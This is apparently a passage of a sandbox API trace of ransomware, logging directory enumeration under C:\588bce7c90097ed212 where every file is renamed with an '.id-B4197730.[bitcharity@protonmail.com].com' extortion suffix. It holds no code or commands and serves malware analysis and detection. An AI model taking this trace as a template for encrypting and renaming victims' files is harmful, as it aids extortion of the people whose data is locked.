ftLastWriteTime.dwLowDateTime=0x34dd5329, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.517] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34dfb631, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34dfb631, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34f52ab3, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.517] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337c7622, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337c7622, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x342a83cd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.517] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337c7622, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337c7622, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x342a83cd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.517] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0242.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.518] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0242.518] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec170 [0242.523] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.523] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34e6dc44, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34e6dc44, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34f78e36, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARAME~1.COM")) returned 1 [0242.523] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f07337, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f07337, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x350a9f1e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 1 [0242.523] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f07337, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f07337, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x350a9f1e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 0 [0242.523] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0242.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.524] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f52ab3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f52ab3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x352e63c2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DHTMLH~1.COM")) returned 1 [0242.524] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337c7622, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337c7622, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x339dd814, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DISPLA~1.COM")) returned 1 [0242.524] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0242.524] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec2b0 [0242.528] FindNextFileW (in: hFindFile=0x6ec2b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.529] FindNextFileW (in: hFindFile=0x6ec2b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f9eeaf, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34f9eeaf, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3505daf7, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARAME~1.COM")) returned 1 [0242.529] FindNextFileW (in: hFindFile=0x6ec2b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34fc5375, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34fc5375, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35011763, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 1 [0242.529] FindNextFileW (in: hFindFile=0x6ec2b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34fc5375, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34fc5375, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35011763, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 0 [0242.530] FindClose (in: hFindFile=0x6ec2b0 | out: hFindFile=0x6ec2b0) returned 1 [0242.535] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.535] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0242.535] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec1f0 [0242.541] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.543] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x33d971d0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x33d971d0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3447202d, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PRINTI~1.COM")) returned 1 [0242.543] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34556e66, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34556e66, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346880ad, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROTATE~4.COM")) returned 1 [0242.543] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x344a36f0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x344a36f0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3457cecc, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROTATE~2.COM")) returned 1 [0242.543] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x344a36f0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x344a36f0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x345a73ae, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROTATE~1.COM")) returned 1 [0242.544] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x344a36f0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x344a36f0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x345f2e3f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROTATE~3.COM")) returned 1 [0242.545] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x345a73ae, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x345a73ae, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346ae1ee, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROA96A~1.COM")) returned 1 [0242.545] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x345cbd7c, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x345cbd7c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346fa74c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROF71C~1.COM")) returned 1 [0242.545] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3461cce7, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3461cce7, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x347208ee, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="RO46CD~1.COM")) returned 1 [0242.546] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x347208ee, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x347208ee, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x348c4392, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="RO7B80~1.COM")) returned 1 [0242.546] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x347208ee, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x347208ee, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x347b92bb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SAVEIC~1.COM")) returned 1 [0242.546] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x347df63f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x347df63f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3489e07a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPI~1.COM")) returned 1 [0242.546] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x347df63f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x347df63f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x348c4392, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="STOPIC~1.COM")) returned 1 [0242.547] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34877f06, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34877f06, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34b0064c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SYSREQ~1.COM")) returned 1 [0242.547] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3489e07a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3489e07a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x349cf2f3, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SYSREQ~2.COM")) returned 1 [0242.547] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x348c4392, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x348c4392, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34a048fd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WARNIC~1.COM")) returned 1 [0242.548] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x348c4392, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x348c4392, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34a048fd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WARNIC~1.COM")) returned 0 [0242.548] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0242.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.553] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352e63c2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x352e63c2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x354fc4ca, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="HEADER~1.COM")) returned 1 [0242.553] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x36233750, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NETFX_~1.COM")) returned 1 [0242.553] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x359cf756, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NETFX_~2.COM")) returned 1 [0242.557] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34e93fc8, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NETFX_~3.COM")) returned 1 [0242.557] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3d10b492, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NETFX_~4.COM")) returned 1 [0242.558] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352e63c2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x352e63c2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x354b166d, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, 